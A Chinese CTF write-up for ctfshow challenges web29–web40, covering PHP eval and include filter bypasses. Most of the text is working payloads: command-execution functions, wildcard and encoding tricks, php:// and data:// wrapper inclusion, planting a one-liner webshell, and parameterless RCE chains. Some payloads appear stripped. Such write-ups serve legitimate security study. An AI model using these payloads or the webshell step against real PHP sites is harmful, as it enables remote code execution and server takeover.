> 技术文档 > web29~web40

web29~web40

在做ctfshow题目的时候学到了一点东西,在这里做个知识分享

web29

<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

eval()是php的代码执行函数,把传进去的字符串当做php代码执行

这题题目要求为:传进去的字符串中不能出现flag,通过get传参

一般我的做法是先查目录,再根据flag在哪个文件里面,之后再选择绕过技巧去获取flag

这道题比较简单,但主要是想通过这道题先分享一些函数方法,方便看懂后面的题解,希望大家耐心看完

先查目录,有以下几种方法

print_r(scandir(getcwd())) // 再不用传参数的时候看目录结构,非常方便,用php函数来查看目录// 使用命令执行函数来查看当前目录// 需要知道 system() passthru() exec() shell_exec() 还有反引号``这几个命令执行函数?c=system(\'ls\');  // 查看当前目录文件?c=system(\'ls -la\'); // 查看详细信息+隐藏文件 ?c=passthru(\'ls\'); // 直接输出目录内容?c=passthru(\'ls -la\'); // 显示详细信息// system() 和 passthru()都能直接输出, 而exec()和shell_exec()需要配合输出函数来使用?c=exec(\'ls\', $output); print_r($output); // exec()需要配个数组才能输出目录的详细信息?c=echo exec(\'ls\'); // 这样只会输出当前目录下最后一个文件名?c=echo shell_exec(\'ls\');  // 显示完整目录内容?c=echo shell_exec(\'ls -la\');  // 显示详细信息?c=echo `ls`; // 其实反引号可以看成是shell_exec()的语法糖?c=echo `ls -la`; ?c=echo `pwd`; // 显示当前路径// 最后放几个php的输出函数,它们的详细区别大家可以自行查阅?c=print(`pwd`); ?c=var_dump(`ls`); ?c=print_r(`pwd`); //换个输出方式// echo因为它的特殊性,可以不用跟括号?c=phpinfo();  // 查看PHP配置信息,这里用来查看有没有禁用什么函数 重点关注disable_functions项// 为什么会分享这么多呢?主要是当其中一个被禁用了,我们还能使用别的函数来解题

用上面这些payload检查完就知道flag在当前目录下 flag.php文件里面了

好了,接下来是这道题的绕过方法了,因为这道题几乎没有什么限制,所以可以有很多种做法

下面的绕过方法呢,我大致将他们分为 “不需要查看页面源代码” 和 “需要查看页面源代码”两种类型

需要知道几个函数和php的伪协议

​highlight_file()​ 、show_source()​用来高亮显示源码

php://filter/convert.base64-encode 目的:防止php代码执行,只读取base64编码后的内容

data://text/plain 目的:执行后面的PHP代码 text/plain​代表纯文本

“不需要查看页面源代码” :

?c=highlight_file(\'fla\'.\'g.php\'); // 通过字符串拼接,绕过\'flag\'匹配检测?c=show_source(\'fla\'.\'g.php\');?c=system(\'tac fla*\'); // 调用命令执行函数,,倒序输出,使用*通配符匹配,绕过flag检测?c=system(\'tac fla*\'); // 使用?通配符匹配,绕过flag检测,*号匹配任意个,?号匹配单个字符?c=system(\"cp fl?g.php a.txt\"); // 使用cp命令,把flag.php文件的内容复制到一个1.txt文件里面,然后再访问 url/1.txt?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php // 参数传递绕过,这样题目对c的字符串检测就不起作用了,这个很常用// 把flag.php经过base64编码后的结果输出到屏幕上,然后再将结果base64解码后就可以拿到flag了?c=include \'data://text/plain,\'; //也是伪协议,用来执行后面文本内容中的代码,如果是纯文本内容就会输出?c=include \'data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=\'; // 这里也是伪协议,就是把后面的命令内容base64编码了,也是用来绕过某些题目的限制条件?c=system(\'tac \'.chr(102).chr(108).chr(97).chr(103).chr(46).chr(112).chr(104).chr(112)); // 字符拼接绕过,也是相当于把命令编码了,用来绕过某些题目的限制条件// 关于编码,php有超级多base64编码、hex编码、url编码、gzip编码、字符串替换等等,还有很多,其实原理就是把命令编码之后绕过题目的限制条件,大家可以自己去探索

“需要查看页面源代码”

​readfile()​输出flag.php的全部内容到浏览器,需要右键再查看页面的源代码

​file_get_contents​ 返回flag.php的全部内容作为一个字符串变量,所以要配一个输出函数

?c=readfile(\'fla\'.\'g.php\'); // 把文本内容输出到页面,因为php标签的原因,需要查看页面源代码 ?c=echo file_get_contents(\'fla\'.\'g.php\'); ?c=system(\'cat fla*\'); // cat也是直接输出文本,,所以还要再查看页面源代码?c=system(\'cat fla?.php\'); // 一样是通配符绕过 ?c=eval($_GET[1]);&1=readfile(\'fla\'.\'g.php\'); // 通过参数传递绕过检测,然后再执行命令?c=eval($_GET[1]);&1=system(\"cat fla?.php\");?c=$a=\'fla\';$b=\'g.php\';readfile($a.$b); // 构造变量绕过

下面就是这道题的一点骚操作了

写马连马

​file_put_contents​函数用来写入文件

?c=file_put_contents(\"ant.php\", \'\'); // 直接往网站里面写一个基础的一句话木马,然后通过hackbar的post传参,或者再直接用蚁剑去连接就行c=system(\'echo -e \"  a.php\'); //开启转义,这个也能写就是上面的好用// 因为这道题目的原因,访问url?c=eval($_POST[1]);,然后密码为1,也能连上

url连接地址:http://c72de2d7-a4b4-4389-b9e5-0daeda69d800.challenge.ctf.show/ant.php

连接密码:ant

其实这道题目特别简单,没必要花这么久时间,但根据上面的知识点,看下面的payload就比较简单了

反正就是这个函数被禁用了,就换另一个,禁用的多了,就找函数链

下面这些题都是查过目录知道flag在当前目录下的flag.php文件里面的,查看目录的方法上面已经提到了


web30

 <?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

这题题目要求为:传进去的字符串中不能出现关键词flag​、system​、php​(不区分大小写)

?c=passthru(\'tac fl*\'); // system()函数被禁用,还可以用passthru函数来执行命令?c=echo `tac fla*`; // 记得反引号也是命令执行?c=highlight_file(base64_decode(\"ZmxhZy5waHA=\")); // 加一层编码绕过,flag.php的base64编码为ZmxhZy5waHA=?c=show_source(scandir(\".\")[2]); // 查看目录,通过数组索引访问// 可以先?c=print_r(scandir(\".\"));查看目录结构得到Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) // 还有很多,原理都差不多,不赘述了


web31

<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

屏蔽了flag​、system​、php​、cat​、sort​、shell​、点号(.​)、空格( ​)、单引号(\'​)

?c=eval($_GET[1]);&1=system(\"tac flag.php\"); // 参数传递绕过?c=show_source(scandir(getcwd())[2]); // 通过目录数组索引实现?c=passthru(\"tac%09fla*\"); // 用%09 Tab键 代替空格键?c=highlight_file(base64_decode(\"ZmxhZy5waHA=\")); // 又是编码绕过


web32

<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​、system​、php​、cat​、sort​、shell​、点号(.​)、空格( ​)、单引号(\'​)、反引号(`​)、echo​、分号(;​)、左括号((​)

这题左括号被屏蔽了,函数就用不了了,要想到伪协议

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 使用伪协议 + 参数传递?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // %0a是回车符,空格被过滤用回车是OK的,但其实也可以不用写,反正php能够解析?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 参数传递绕过 + data伪协议


web33

<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\\"/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​、system​、php​、cat​、sort​、shell​、点号(.​)、空格( ​)、单引号(\'​)、反引号(`​)、echo​、分号(;​)、左括号((​)、双引号(\"​)

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 跟刚才一样?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 文件包含 + data伪协议


web34

<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\:|\\\"/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​、system​、php​、cat​、sort​、shell​、点号(.​)、空格( ​)、单引号(\'​)、反引号(`​)、echo​、分号(;​)、左括号((​)、双引号(\"​)、冒号(:​)

新增过滤:冒号(:​),这会阻止data协议等包含冒号的payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 依旧是参数传递绕过检测?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 既然通过参数传递绕过检测,那后面1=就有无数种方法了,不再赘述


web35

<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\:|\\\"|\\<|\\=/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​、system​、php​、cat​、sort​、shell​、点号(.​)、空格( ​)、单引号(\'​)、反引号(`​)、echo​、分号(;​)、左括号((​)、冒号(:​)、双引号(\"​)、小于号(<​)、等号(=​)

小于号(<​)和等号(=​)

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php // 得到结果再base64解码?c=include$_GET[1]?>&1=data://text/plain,<?php system(\'tac flag.php\');// 万能参数传递


web36

<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|system|php|cat|sort|shell|\\.| |\\\'|\\`|echo|\\;|\\(|\\:|\\\"|\\<|\\=|\\/|[0-9]/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​、system​、php​、cat​、sort​、shell​、点号(.​)、空格( ​)、单引号(\'​)、反引号(`​)、echo​、分号(;​)、左括号((​)、冒号(:​)、双引号(\"​)、小于号(<​)、等号(=​)、斜杠(/​)、所有数字(0-9​)

这里吧斜杠(/​)和所有数字(0-9​)屏蔽了,其实还是可以用刚才的做法

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php // 得到结果再base64解码// 这里把原来的数字改为了a,因为$GET[]里面其实可以写个字母,不用写引号也能执行的?c=include$_GET[a]?>&a=data://text/plain,<?php system(\'tac flag.php\');// 改个参数继续进行参数传递


web37

//flag in flag.php 提示内容<?phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag/i\", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​(不区分大小写)

用include($c)​包含文件

然后echo $flag​输出flag变量

?c=data://text/plain,<?php system(\'tac fl*\');?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4= // 经过base64编码后的结果为: PD9waHAgIHN5c3RlbSgidGFjIGZsYWcucGhwIikgPz4= // include的话,后面加一层编码就能继续绕过了// 至于后面选择哪些命令,又有无数种解法了,反正加个编码就行


web38

<?php//flag in flag.phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag|php|file/i\", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​、php​、file​(不区分大小写)

继续文件包含

​<?=​ 是PHP短标签,等价于 <?php echo​

?c=data://text/plain,;// php关键字被过滤了,可以采用这个短的php标签


web39

<?php//flag in flag.phperror_reporting(0);if(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/flag/i\", $c)){ include($c.\".php\"); } }else{ highlight_file(__FILE__);} 

屏蔽内容:flag​(不区分大小写)

会自动在参数后添加.php​后缀

这里用data协议就行了,因为只会执行文本里面的php代码,其他加进来的还是当纯文本输出

?c=data://text/plain,; // 法修散打?c=data://text/plain,; // 炸爽的尝试


web40

无参数RCE

<?phpif(isset($_GET[\'c\'])){ $c = $_GET[\'c\']; if(!preg_match(\"/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\\'|\\\"|\\,|\\|\\/|\\?|\\\\\\\\/i\", $c)){ eval($c); } }else{ highlight_file(__FILE__);}

屏蔽内容:数字(0-9​)、波浪号(~​)、反引号(`​)、@​、#​、$​、%​、^​、&​、*​、中文括号(()​)、减号(-​)、等号(=​)、加号(+​)、大括号({}​)、中括号([]​)、冒号(:​)、单引号(\'​)、双引号(\"​)、逗号(,​)、小于号(​)、斜杠(/​)、问号(?​)、反斜杠(\\​)

不要被题目吓傻了,仔细看的话这里其实屏蔽的是中文括号,函数调用还是能用的,但是冒号和斜杠被屏蔽了,这题要会无参数RCE了

  1. ​localeconv()​链

    ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

    localeconv() → pos() → scandir() → array_reverse() → next() → show_source()

    函数 功能 返回值 在链中的作用 ​localeconv()​ 获取本地化格式信息 ​[\"decimal_point\"=>\".\", ...]​ 生成包含\".\"的数组 ​pos()​ 获取数组当前元素(=current()) ​\".\"​ 提取小数点符号作为目录名 ​scandir(\".\")​ 扫描指定目录 ​[\".\", \"..\", \"flag.php\", \"index.php\"]​ 获取当前目录文件列表 ​array_reverse()​ 反转数组顺序 ​[\"index.php\", \"flag.php\", \"..\", \".\"]​ 调整文件位置便于定位 ​next()​ 数组指针移到下一个元素 ​\"flag.php\"​ 跳过第一个文件获取目标 ​show_source()​ 显示PHP文件源码 输出flag.php内容 读取flag
  2. POST传参

    GET: c=eval(array_pop(next(get_defined_vars())));
    POST: 1=system(\'tac fl*\');

    POST传参 → get_defined_vars() → next() → array_pop() → eval()

    函数 功能 返回值 在链中的作用 ​​get_defined_vars()​ 获取当前作用域所有变量 ​​[\"_GET\"=>[...], \"_POST\"=>[\"1\"=>\"system(...)\"], ...]​ 获取包含POST数据的变量数组 ​​next()​ 跳到下一个数组元素 ​​[\"1\" => \"system(\'tac fl*\')\"]​ 跳过G​ET,获取_POST数组 ​​array_pop()​ 弹出数组最后一个元素的值 ​​\"system(\'tac fl*\')\"​ 提取POST传入的命令 ​​eval()​ 执行PHP代码字符串 执行系统命令 执行提取出的恶意代码
  3. getcwd()链

    ?c=show_source(next(array_reverse(scandir(getcwd()))));

    getcwd() → scandir() → array_reverse() → next() → show_source()

    ​getcwd()​ 获取当前工作目录完整路径 ​\"/var/www/html\"​ 获取目录路径 ​scandir()​ 扫描指定目录 ​[\".\", \"..\", \"flag.php\", \"index.php\"]​ 获取目录文件列表 ​array_reverse()​ 反转数组顺序 ​[\"index.php\", \"flag.php\", \"..\", \".\"]​ 调整文件位置 ​next()​ 移动到下一个数组元素 ​\"flag.php\"​ 跳过第一个获取目标文件 ​show_source()​ 显示PHP文件源码 输出flag.php内容 读取flag


累了,后面的以后再更新,我要去吃麦当劳了

QQ号:2784688636

希望能认识多点朋友 我正在学习web,目前水平不高,但是在努力中